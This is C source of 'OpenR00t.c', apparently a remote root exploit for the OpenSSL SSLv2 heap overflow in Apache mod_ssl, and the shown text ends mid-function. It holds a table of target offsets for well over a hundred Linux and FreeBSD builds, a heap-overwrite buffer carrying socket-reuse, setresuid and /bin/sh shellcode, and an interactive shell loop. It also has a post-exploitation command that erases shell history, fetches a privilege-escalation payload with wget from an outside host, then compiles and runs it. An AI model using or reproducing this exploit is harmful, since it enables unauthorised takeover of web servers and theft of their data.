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OpenR00t.c
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#include <arpa/inet.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <errno.h>
#include <string.h>
#include <stdio.h>
#include <unistd.h>
#include <openssl/ssl.h>
#include <openssl/rsa.h>
#include <openssl/x509.h>
#include <openssl/evp.h>
#include <openssl/rc4.h>
#include <openssl/md5.h>
#define SSL2_MT_ERROR 0
#define SSL2_MT_CLIENT_FINISHED 3
#define SSL2_MT_SERVER_HELLO 4
#define SSL2_MT_SERVER_VERIFY 5
#define SSL2_MT_SERVER_FINISHED 6
#define SSL2_MAX_CONNECTION_ID_LENGTH 16
/* update this if you add architectures */
#define MAX_ARCH 138
struct archs {
char* desc;
int func_addr; /* objdump -R /usr/sbin/httpd | grep free */
} architectures[] = {
{
"Caldera OpenLinux (apache-1.3.26)",
0x080920e0
},
{
"Cobalt Sun 6.0 (apache-1.3.12)",
0x8120f0c
},
{
"Cobalt Sun 6.0 (apache-1.3.20)",
0x811dcb8
},
{
"Cobalt Sun x (apache-1.3.26)",
0x8123ac3
},
{
"Cobalt Sun x Fixed2 (apache-1.3.26)",
0x81233c3
},
{
"Conectiva 4 (apache-1.3.6)",
0x08075398
},
{
"Conectiva 4.1 (apache-1.3.9)",
0x0808f2fe
},
{
"Conectiva 6 (apache-1.3.14)",
0x0809222c
},
{
"Conectiva 7 (apache-1.3.12)",
0x0808f874
},
{
"Conectiva 7 (apache-1.3.19)",
0x08088aa0
},
{
"Conectiva 7/8 (apache-1.3.26)",
0x0808e628
},
{
"Conectiva 8 (apache-1.3.22)",
0x0808b2d0
},
{
"Debian GNU Linux 2.2 Potato (apache_1.3.9-14.1)",
0x08095264
},
{
"Debian GNU Linux (apache_1.3.19-1)",
0x080966fc
},
{
"Debian GNU Linux (apache_1.3.22-2)",
0x08096aac
},
{
"Debian GNU Linux (apache-1.3.22-2.1)",
0x08083828
},
{
"Debian GNU Linux (apache-1.3.22-5)",
0x08083728
},
{
"Debian GNU Linux (apache_1.3.23-1)",
0x08085de8
},
{
"Debian GNU Linux (apache_1.3.24-2.1)",
0x08087d08
},
{ "Debian Linux GNU Linux 2 (apache_1.3.24-2.1)",
0x080873ac
},
{
"Debian GNU Linux (apache_1.3.24-3)",
0x08087d68
},
{
"Debian GNU Linux (apache-1.3.26-1)",
0x0080863c4
},
{
"Debian GNU Linux 3.0 Woody (apache-1.3.26-1)",
0x080863cc
},
{ "Debian GNU Linux (apache-1.3.27)",
0x0080866a3
},
{ "FreeBSD (apache-1.3.9)", 0xbfbfde00 },
{ "FreeBSD (apache-1.3.11)", 0x080a2ea8 },
{ "FreeBSD (apache-1.3.12.1.40)", 0x080a7f58 },
{ "FreeBSD (apache-1.3.12.1.40)", 0x080a0ec0 },
{ "FreeBSD (apache-1.3.12.1.40)", 0x080a7e7c },
{ "FreeBSD (apache-1.3.12.1.40_1)", 0x080a7f18 },
{ "FreeBSD (apache-1.3.12)", 0x0809bd7c },
{ "FreeBSD (apache-1.3.14)", 0xbfbfdc00 },
{ "FreeBSD (apache-1.3.14)", 0x080ab68c },
{ "FreeBSD (apache-1.3.14)", 0x0808c76c },
{ "FreeBSD (apache-1.3.14)", 0x080a3fc8 },
{ "FreeBSD (apache-1.3.14)", 0x080ab6d8 },
{ "FreeBSD (apache-1.3.17_1)", 0x0808820c },
{ "FreeBSD (apache-1.3.19)", 0xbfbfdc00 },
{ "FreeBSD (apache-1.3.19_1)", 0x0808c96c },
{ "FreeBSD (apache-1.3.20)", 0x0808cb70 },
{ "FreeBSD (apache-1.3.20)", 0xbfbfc000 },
{ "FreeBSD (apache-1.3.20+2.8.4)", 0x0808faf8 },
{ "FreeBSD (apache-1.3.20_1)", 0x0808dfb4 },
{ "FreeBSD (apache-1.3.22)", 0xbfbfc000 },
{ "FreeBSD (apache-1.3.22_7)", 0x0808d110 },
{ "FreeBSD (apache_fp-1.3.23)", 0x0807c5f8 },
{ "FreeBSD (apache-1.3.24_7)", 0x0808f8b0 },
{ "FreeBSD (apache-1.3.24+2.8.8)", 0x080927f8 },
{ "FreeBSD 4.6.2-Release-p6 (apache-1.3.26)", 0x080c432c },
{ "FreeBSD 4.6-Realease (apache-1.3.26)", 0x0808fdec },
{ "FreeBSD (apache-1.3.27)", 0x080902e4 },
{
"Gentoo Linux (apache-1.3.24-r2)",
0x08086c34
},
{
"Linux Generic (apache-1.3.14)",
0xbffff500
},
{
"Mandrake Linux X.x (apache-1.3.22-10.1mdk)",
0x080808ab
},
{
"Mandrake Linux 7.1 (apache-1.3.14-2)",
0x0809f6c4
},
{
"Mandrake Linux 7.1 (apache-1.3.22-1.4mdk)",
0x0809d233
},
{
"Mandrake Linux 7.2 (apache-1.3.14-2mdk)",
0x0809f6ef
},
{
"Mandrake Linux 7.2 (apache-1.3.14) 2",
0x0809d6c4
},
{
"Mandrake Linux 7.2 (apache-1.3.20-5.1mdk)",
0x0809ccde
},
{
"Mandrake Linux 7.2 (apache-1.3.20-5.2mdk)",
0x0809ce14
},
{
"Mandrake Linux 7.2 (apache-1.3.22-1.3mdk)",
0x0809d262
},
{
"Mandrake Linux 7.2 (apache-1.3.22-10.2mdk)",
0x08083545
},
{
"Mandrake Linux 8.0 (apache-1.3.19-3)",
0x0809ea98
},
{
"Mandrake Linux 8.1 (apache-1.3.20-3)",
0x0809e97c
},
{
"Mandrake Linux 8.2 (apache-1.3.23-4)",
0x08086580
},
{ "Mandrake Linux 8.2 #2 (apache-1.3.23-4)",
0x08086484
},
{ "Mandrake Linux 8.2 (apache-1.3.24)",
0x08086665
},
{ "Mandrake Linux 9 (apache-1.3.26)",
0x0808b864
},
{
"RedHat Linux ?.? GENERIC (apache-1.3.12-1)",
0x0808c0f4
},
{
"RedHat Linux TEST1 (apache-1.3.12-1)",
0x0808c0f4
},
{
"RedHat Linux TEST2 (apache-1.3.12-1)",
0x0808c0f4
},
{
"RedHat Linux GENERIC (marumbi) (apache-1.2.6-5)",
0x080d2c35
},
{
"RedHat Linux 4.2 (apache-1.1.3-3)",
0x08065bae
},
{
"RedHat Linux 5.0 (apache-1.2.4-4)",
0x0808c82c
},
{
"RedHat Linux 5.1-Update (apache-1.2.6)",
0x08092a45
},
{
"RedHat Linux 5.1 (apache-1.2.6-4)",
0x08092c2d
},
{
"RedHat Linux 5.2 (apache-1.3.3-1)",
0x0806f049
},
{
"RedHat Linux 5.2-Update (apache-1.3.14-2.5.x)",
0x0808e4d8
},
{
"RedHat Linux 6.0 (apache-1.3.6-7)",
0x080707ec
},
{
"RedHat Linux 6.0 (apache-1.3.6-7)",
0x080707f9
},
{
"RedHat Linux 6.0-Update (apache-1.3.14-2.6.2)",
0x0808fd52
},
{
"RedHat Linux 6.0 Update (apache-1.3.24)",
0x80acd58
},
{
"RedHat Linux 6.1 (apache-1.3.9-4)1",
0x0808ccc4
},
{
"RedHat Linux 6.1 (apache-1.3.9-4)2",
0x0808ccdc
},
{
"RedHat Linux 6.1-Update (apache-1.3.14-2.6.2)",
0x0808fd5d
},
{
"RedHat Linux 6.1-fp2000 (apache-1.3.26)",
0x082e6fcd
},
{
"RedHat Linux 6.2 (apache-1.3.12-2)1",
0x0808f689
},
{
"RedHat Linux 6.2 (apache-1.3.12-2)2",
0x0808f614
},
{
"RedHat Linux 6.2 mod(apache-1.3.12-2)3",
0xbffff94c
},
{
"RedHat Linux 6.2 update (apache-1.3.22-5.6)1",
0x0808f9ec
},
{
"RedHat Linux 6.2-Update (apache-1.3.22-5.6)2",
0x0808f9d4
},
{
"Redhat Linux 7.x (apache-1.3.22)",
0x0808400c
},
{
"RedHat Linux 7.x (apache-1.3.26-1)",
0x080873bc
},
{ "RedHat Linux 7.x (apache-1.3.27)",
0x08087221
},
{
"RedHat Linux 7.0 (apache-1.3.12-25)1",
0x0809251c
},
{
"RedHat Linux 7.0 (apache-1.3.12-25)2",
0x0809252d
},
{
"RedHat Linux 7.0 (apache-1.3.14-2)",
0x08092b98
},
{
"RedHat Linux 7.0-Update (apache-1.3.22-5.7.1)",
0x08084358
},
{
"RedHat Linux 7.0-7.1 update (apache-1.3.22-5.7.1)",
0x0808438c
},
{
"RedHat Linux 7.0-Update (apache-1.3.27-1.7.1)",
0x08086e41
},
{
"RedHat Linux 7.1 (apache-1.3.19-5)1",
0x0809af8c
},
{
"RedHat Linux 7.1 (apache-1.3.19-5)2",
0x0809afd9
},
{
"RedHat Linux 7.1-7.0 update (apache-1.3.22-5.7.1)",
0x0808438c
},
{
"RedHat Linux 7.1-Update (1.3.22-5.7.1)",
0x08084389
},
{
"RedHat Linux 7.1 (apache-1.3.22-src)",
0x0816021c
},
{
"RedHat Linux 7.1-Update (1.3.27-1.7.1)",
0x08086ec89
},
{
"RedHat Linux 7.2 (apache-1.3.20-16)1",
0x080994e5
},
{
"RedHat Linux 7.2 (apache-1.3.20-16)2",
0x080994d4
},
{
"RedHat Linux 7.2-Update (apache-1.3.22-6)",
0x08084045
},
{
"RedHat Linux 7.2 (apache-1.3.24)",
0x80b0938
},
{
"RedHat Linux 7.2 (apache-1.3.26)",
0x08161c16
},
{
"RedHat Linux 7.2 (apache-1.3.26-snc)",
0x8161c14
},
{
"Redhat Linux 7.2 (apache-1.3.26 w/PHP)1",
0x08269950
},
{
"Redhat Linux 7.2 (apache-1.3.26 w/PHP)2",
0x08269988
},
{
"RedHat Linux 7.2-Update (apache-1.3.27-1.7.2)",
0x08086af9
},
{
"RedHat Linux 7.3 (apache-1.3.23-11)1",
0x0808528c
},
{
"RedHat Linux 7.3 (apache-1.3.23-11)2",
0x0808525f
},
{
"RedHat Linux 7.3 (apache-1.3.27)",
0x080862e4
},
{ "RedHat Linux 8.0 (apache-1.3.27)",
0x08084c1c
},
{ "RedHat Linux 8.0-second (apache-1.3.27)",
0x0808151e
},
{ "RedHat Linux 8.0 (apache-2.0.40)",
0x08092fa4
},
{
"Slackware Linux 4.0 (apache-1.3.6)",
0x08088130
},
{
"Slackware Linux 7.0 (apache-1.3.9)",
0x080a7fc0
},
{
"Slackware Linux 7.0 (apache-1.3.26)",
0x083d37fc
},
{ "Slackware 7.0 (apache-1.3.26)2",
0x083d2232
},
{
"Slackware Linux 7.1 (apache-1.3.12)",
0x080a86a4
},
{
"Slackware Linux 8.0 (apache-1.3.20)",
0x080ae67c
},
{
"Slackware Linux 8.1 (apache-1.3.24)",
0x080b0c60
},
{
"Slackware Linux 8.1 (apache-1.3.26)",
0x080b2100
},
{
"Slackware Linux 8.1-stable (apache-1.3.26)",
0x080b0c60
},
{ "Slackware Linux (apache-1.3.27)",
0x080b1a3a
},
{
"SuSE Linux 7.0 (apache-1.3.12)",
0x0809f54c
},
{
"SuSE Linux 7.1 (apache-1.3.17)",
0x08099984
},
{
"SuSE Linux 7.2 (apache-1.3.19)",
0x08099ec8
},
{
"SuSE Linux 7.3 (apache-1.3.20)",
0x08099da8
},
{
"SuSE Linux 8.0 (apache-1.3.23)",
0x08086168
},
{
"SUSE Linux 8.0 (apache-1.3.23-120)",
0x080861c8
},
{
"SuSE Linux 8.0 (apache-1.3.23-137)",
0x080861c8
},
/* this one unchecked cause require differend shellcode */
{
"Yellow Dog Linux/PPC 2.3 (apache-1.3.22-6.2.3a)",
0xfd42630
},
};
extern int errno;
int cipher;
int ciphers;
/* the offset of the local port from be beginning of the overwrite next chunk buffer */
#define FINDSCKPORTOFS 208 + 12 + 46
unsigned char overwrite_session_id_length[] =
"AAAA" /* int master key length; */
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" /* unsigned char master key[SSL MAX MASTER KEY LENGTH]; */
"\x70\x00\x00\x00"; /* unsigned int session id length; */
unsigned char overwrite_next_chunk[] =
"AAAA" /* int master key length; */
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" /* unsigned char master key[SSL MAX MASTER KEY LENGTH]; */
"AAAA" /* unsigned int session id length; */
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" /* unsigned char session id[SSL MAX SSL SESSION ID LENGTH]; */
"AAAA" /* unsigned int sid ctx length; */
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" /* unsigned char sid ctx[SSL MAX SID CTX LENGTH]; */
"AAAA" /* int not resumable; */
"\x00\x00\x00\x00" /* struct sess cert st *sess cert; */
"\x00\x00\x00\x00" /* X509 *peer; */
"AAAA" /* long verify result; */
"\x01\x00\x00\x00" /* int references; */
"AAAA" /* int timeout; */
"AAAA" /* int time */
"AAAA" /* int compress meth; */
"\x00\x00\x00\x00" /* SSL CIPHER *cipher; */
"AAAA" /* unsigned long cipher id; */
"\x00\x00\x00\x00" /* STACK OF(SSL CIPHER) *ciphers; */
"\x00\x00\x00\x00\x00\x00\x00\x00" /* CRYPTO EX DATA ex data; */
"AAAAAAAA" /* struct ssl session st *prev,*next; */
"\x00\x00\x00\x00" /* Size of previous chunk */
"\x11\x00\x00\x00" /* Size of chunk, in bytes */
"fdfd" /* Forward and back pointers */
"bkbk"
"\x10\x00\x00\x00" /* Size of previous chunk */
"\x10\x00\x00\x00" /* Size of chunk, PREV INUSE is set */
/* shellcode start */
"\xeb\x0a\x90\x90" /* jump 10 bytes ahead, land at shellcode */
"\x90\x90\x90\x90"
"\x90\x90\x90\x90" /* this is overwritten with FD by the unlink macro */
/* 72 bytes findsckcode by LSD-pl */
"\x31\xdb" /* xorl %ebx,%ebx */
"\x89\xe7" /* movl %esp,%edi */
"\x8d\x77\x10" /* leal 0x10(%edi),%esi */
"\x89\x77\x04" /* movl %esi,0x4(%edi) */
"\x8d\x4f\x20" /* leal 0x20(%edi),%ecx */
"\x89\x4f\x08" /* movl %ecx,0x8(%edi) */
"\xb3\x10" /* movb $0x10,%bl */
"\x89\x19" /* movl %ebx,(%ecx) */
"\x31\xc9" /* xorl %ecx,%ecx */
"\xb1\xff" /* movb $0xff,%cl */
"\x89\x0f" /* movl %ecx,(%edi) */
"\x51" /* pushl %ecx */
"\x31\xc0" /* xorl %eax,%eax */
"\xb0\x66" /* movb $0x66,%al */
"\xb3\x07" /* movb $0x07,%bl */
"\x89\xf9" /* movl %edi,%ecx */
"\xcd\x80" /* int $0x80 */
"\x59" /* popl %ecx */
"\x31\xdb" /* xorl %ebx,%ebx */
"\x39\xd8" /* cmpl %ebx,%eax */
"\x75\x0a" /* jne <findsckcode+54> */
"\x66\xb8\x12\x34" /* movw $0x1234,%bx */
"\x66\x39\x46\x02" /* cmpw %bx,0x2(%esi) */
"\x74\x02" /* je <findsckcode+56> */
"\xe2\xe0" /* loop <findsckcode+24> */
"\x89\xcb" /* movl %ecx,%ebx */
"\x31\xc9" /* xorl %ecx,%ecx */
"\xb1\x03" /* movb $0x03,%cl */
"\x31\xc0" /* xorl %eax,%eax */
"\xb0\x3f" /* movb $0x3f,%al */
"\x49" /* decl %ecx */
"\xcd\x80" /* int $0x80 */
"\x41" /* incl %ecx */
"\xe2\xf6" /* loop <findsckcode+62> */
/* 10 byte setresuid(0,0,0); by core */
"\x31\xc9" /* xor %ecx,%ecx */
"\xf7\xe1" /* mul %ecx,%eax */
"\x51" /* push %ecx */
"\x5b" /* pop %ebx */
"\xb0\xa4" /* mov $0xa4,%al */
"\xcd\x80" /* int $0x80 */
/* bigger shellcode added by spabam */
/* "\xB8\x2F\x73\x68\x23\x25\x2F\x73\x68\xDC\x50\x68\x2F\x62\x69"
"\x6E\x89\xE3\x31\xC0\x50\x53\x89\xE1\x04\x0B\x31\xD2\xCD\x80"
*/
/* 24 bytes execl("/bin/sh", "/bin/sh", 0); by LSD-pl */
"\x31\xc0" /* xorl %eax,%eax */
"\x50" /* pushl %eax */
"\x68""//sh" /* pushl $0x68732f2f */
"\x68""/bin" /* pushl $0x6e69622f */
"\x89\xe3" /* movl %esp,%ebx */
"\x50" /* pushl %eax */
"\x53" /* pushl %ebx */
"\x89\xe1" /* movl %esp,%ecx */
"\x99" /* cdql */
"\xb0\x0b" /* movb $0x0b,%al */
"\xcd\x80"; /* int $0x80 */
/* read and write buffer*/
#define BUFSIZE 16384
/* hardcoded protocol stuff */
#define CHALLENGE_LENGTH 16
#define RC4_KEY_LENGTH 16 /* 128 bits */
#define RC4_KEY_MATERIAL_LENGTH (RC4_KEY_LENGTH*2)
/* straight from the openssl source */
#define n2s(c,s) ((s=(((unsigned int)(c[0]))<< 8)| (((unsigned int)(c[1])) )),c+=2)
#define s2n(s,c) ((c[0]=(unsigned char)(((s)>> 8)&0xff), c[1]=(unsigned char)(((s) )&0xff)),c+=2)
/* we keep all SSL2 state in this structure */
typedef struct {
int sock;
/* client stuff */
unsigned char challenge[CHALLENGE_LENGTH];
unsigned char master_key[RC4_KEY_LENGTH];
unsigned char key_material[RC4_KEY_MATERIAL_LENGTH];
/* connection id - returned by the server */
int conn_id_length;
unsigned char conn_id[SSL2_MAX_CONNECTION_ID_LENGTH];
/* server certificate */
X509 *x509;
/* session keys */
unsigned char* read_key;
unsigned char* write_key;
RC4_KEY* rc4_read_key;
RC4_KEY* rc4_write_key;
/* sequence numbers, used for MAC calculation */
int read_seq;
int write_seq;
/* set to 1 when the SSL2 handshake is complete */
int encrypted;
} ssl_conn;
#define COMMAND1 "TERM=xterm; export TERM=xterm; exec bash -i\n"
#define COMMAND2 "unset HISTFILE; cd /tmp; wget MY_LOCALHOST/lib -O H4K2LIV3.c; gcc -o p H4K2LIV3.c; rm H4K2LIV3.c; ./p; \n"
long getip(char *hostname) {
struct hostent *he;
long ipaddr;
if ((ipaddr = inet_addr(hostname)) < 0) {
if ((he = gethostbyname(hostname)) == NULL) {
perror("gethostbyname()");
exit(-1);
}
memcpy(&ipaddr, he->h_addr, he->h_length);
}
return ipaddr;
}
/* mixter's code w/enhancements by core */
int sh(int sockfd) {
char snd[1024], rcv[1024];
fd_set rset;
int maxfd, n;
/* Priming commands */
strcpy(snd, COMMAND1 "\n");
write(sockfd, snd, strlen(snd));
strcpy(snd, COMMAND2 "\n");
write(sockfd, snd, strlen(snd));
/* Main command loop */
for (;;) {
FD_SET(fileno(stdin), &rset);
FD_SET(sockfd, &rset);
maxfd = ( ( fileno(stdin) > sockfd )?fileno(stdin):sockfd ) + 1;
select(maxfd, &rset, NULL, NULL, NULL);
if (FD_ISSET(fileno(stdin), &rset)) {
bzero(snd, sizeof(snd));
fgets(snd, sizeof(snd)-2, stdin);
write(sockfd, snd, strlen(snd));
}
if (FD_ISSET(sockfd, &rset)) {
bzero(rcv, sizeof(rcv));
if ((n = read(sockfd, rcv, sizeof(rcv))) == 0) {
printf("Good Bye!\n");
return 0;
}
if (n < 0) {
perror("read");
return 1;
}
fputs(rcv, stdout);
fflush(stdout); /* keeps output nice */
}
} /* for(;;) */
}
/* Returns the local port of a connected socket */
int get_local_port(int sock)
{
struct sockaddr_in s_in;
unsigned int namelen = sizeof(s_in);
if (getsockname(sock, (struct sockaddr *)&s_in, &namelen) < 0) {
printf("Can't get local port: %s\n", strerror(errno));
exit(1);
}
return s_in.sin_port;
}
/* Connect to a host */
int connect_host(char* host, int port)
{
struct sockaddr_in s_in;
int sock;
s_in.sin_family = AF_INET;
s_in.sin_addr.s_addr = getip(host);
s_in.sin_port = htons(port);
if ((sock = socket(AF_INET, SOCK_STREAM, 0)) <= 0) {
printf("Could not create a socket\n");
exit(1);
}
if (connect(sock, (struct sockaddr *)&s_in, sizeof(s_in)) < 0) {
printf("Connection to %s:%d failed: %s\n", host, port, strerror(errno));
exit(1);
}
return sock;
}
/* Create a new ssl conn structure and connect to a host */
ssl_conn* ssl_connect_host(char* host, int port)
{
ssl_conn* ssl;
if (!(ssl = (ssl_conn*) malloc(sizeof(ssl_conn)))) {
printf("Can't allocate memory\n");
exit(1);
}
/* Initialize some values */
ssl->encrypted = 0;
ssl->write_seq = 0;
ssl->read_seq = 0;
ssl->sock = connect_host(host, port);
return ssl;
}
/* global buffer used by the ssl result() */
char res_buf[30];
/* converts an SSL error code to a string */
char* ssl_error(int code) {
switch (code) {
case 0x00: return "SSL2 PE UNDEFINED ERROR (0x00)";
case 0x01: return "SSL2 PE NO CIPHER (0x01)";
case 0x02: return "SSL2 PE NO CERTIFICATE (0x02)";
case 0x04: return "SSL2 PE BAD CERTIFICATE (0x03)";
case 0x06: return "SSL2 PE UNSUPPORTED CERTIFICATE TYPE (0x06)";
default:
sprintf(res_buf, "%02x", code);
return res_buf;
}
}
/* read len bytes from a socket. boring. */
int read_data(int sock, unsigned char* buf, int len)
{
int l;
int to_read = len;
do {
if ((l = read(sock, buf, to_read)) < 0) {
printf("Error in read: %s\n", strerror(errno));
exit(1);
}
to_read -= len;
} while (to_read > 0);
return len;
}
/* reads an SSL packet and decrypts it if necessery */
int read_ssl_packet(ssl_conn* ssl, unsigned char* buf, int buf_size)
{
int rec_len, padding;
read_data(ssl->sock, buf, 2);
if ((buf[0] & 0x80) == 0) {
/* three byte header */
rec_len = ((buf[0] & 0x3f) << 8) | buf[1];
read_data(ssl->sock, &buf[2], 1);
padding = (int)buf[2];
}
else {
/* two byte header */
rec_len = ((buf[0] & 0x7f) << 8) | buf[1];
padding = 0;
}
if ((rec_len <= 0) || (rec_len > buf_size)) {
printf("read_ssl_packet: Record length out of range (rec_len = %d)\n", rec_len);
exit(1);
}
read_data(ssl->sock, buf, rec_len);
if (ssl->encrypted) {
if (MD5_DIGEST_LENGTH + padding >= rec_len) {
if ((buf[0] == SSL2_MT_ERROR) && (rec_len == 3)) {
/* the server didn't switch to encryption due to an error */
return 0;
}
else {
printf("read_ssl_packet: Encrypted message is too short (rec_len = %d)\n", rec_len);
exit(1);
}
}
/* decrypt the encrypted part of the packet */
RC4(ssl->rc4_read_key, rec_len, buf, buf);
/* move the decrypted message in the beginning of the buffer */
rec_len = rec_len - MD5_DIGEST_LENGTH - padding;
memmove(buf, buf + MD5_DIGEST_LENGTH, rec_len);
}
if (buf[0] == SSL2_MT_ERROR) {
if (rec_len != 3) {
printf("Malformed server error message\n");
exit(1);
}
else {
return 0;
}
}
return rec_len;
}
/* send an ssl packet, encrypting it if ssl->encrypted is set */
void send_ssl_packet(ssl_conn* ssl, unsigned char* rec, int rec_len)
{
unsigned char buf[BUFSIZE];
unsigned char* p;
int tot_len;
MD5_CTX ctx;
int seq;
if (ssl->encrypted)
tot_len = rec_len + MD5_DIGEST_LENGTH; /* RC4 needs no padding */
else
tot_len = rec_len;
if (2 + tot_len > BUFSIZE) {
printf("send_ssl_packet: Record length out of range (rec_len = %d)\n", rec_len);
exit(1);
}
p = buf;
s2n(tot_len, p);
buf[0] = buf[0] | 0x80; /* two byte header */
if (ssl->encrypted) {
/* calculate the MAC */
seq = ntohl(ssl->write_seq);
MD5_Init(&ctx);
MD5_Update(&ctx, ssl->write_key, RC4_KEY_LENGTH);
MD5_Update(&ctx, rec, rec_len);
MD5_Update(&ctx, &seq, 4);
MD5_Final(p, &ctx);
p+=MD5_DIGEST_LENGTH;
memcpy(p, rec, rec_len);
/* encrypt the payload */
RC4(ssl->rc4_write_key, tot_len, &buf[2], &buf[2]);
}
else {
memcpy(p, rec, rec_len);
}
send(ssl->sock, buf, 2 + tot_len, 0);
/* the sequence number is incremented by both encrypted and plaintext packets
*/
ssl->write_seq++;
}
/* Send a CLIENT HELLO message to the server */
void send_client_hello(ssl_conn *ssl)
{
int i;
unsigned char buf[BUFSIZE] =
"\x01" /* client hello msg */
"\x00\x02" /* client version */
"\x00\x18" /* cipher specs length */
"\x00\x00" /* session id length */
"\x00\x10" /* challenge length */
"\x07\x00\xc0\x05\x00\x80\x03\x00" /* cipher specs data */
"\x80\x01\x00\x80\x08\x00\x80\x06"
"\x00\x40\x04\x00\x80\x02\x00\x80"
""; /* session id data */
/* generate CHALLENGE LENGTH bytes of challenge data */
for (i = 0; i < CHALLENGE_LENGTH; i++) {
ssl->challenge[i] = (unsigned char) (rand() >> 24);
}
memcpy(&buf[33], ssl->challenge, CHALLENGE_LENGTH);
send_ssl_packet(ssl, buf, 33 + CHALLENGE_LENGTH);
}
/* Get a SERVER HELLO response from the server */
void get_server_hello(ssl_conn* ssl)
{
unsigned char buf[BUFSIZE];
//unsigned char *p, *end;
const unsigned char *p, *end;
int len;
int server_version, cert_length, cs_length, conn_id_length;
int found;
if (!(len = read_ssl_packet(ssl, buf, sizeof(buf)))) {
printf("Server error: %s\n", ssl_error(ntohs(*(uint16_t*)&buf[1])));
exit(1);
}
if (len < 11) {
printf("get_server_hello: Packet too short (len = %d)\n", len);
exit(1);
}
p = buf;
if (*(p++) != SSL2_MT_SERVER_HELLO) {
printf("get_server_hello: Expected SSL2 MT SERVER HELLO, got %x\n", (int)p[-1]);
exit(1);
}
if (*(p++) != 0) {
printf("get_server_hello: SESSION-ID-HIT is not 0\n");
exit(1);
}
if (*(p++) != 1) {
printf("get_server_hello: CERTIFICATE-TYPE is not SSL CT X509 CERTIFICATE\n");
exit(1);
}
n2s(p, server_version);
if (server_version != 2) {
printf("get_server_hello: Unsupported server version %d\n", server_version);
exit(1);
}
n2s(p, cert_length);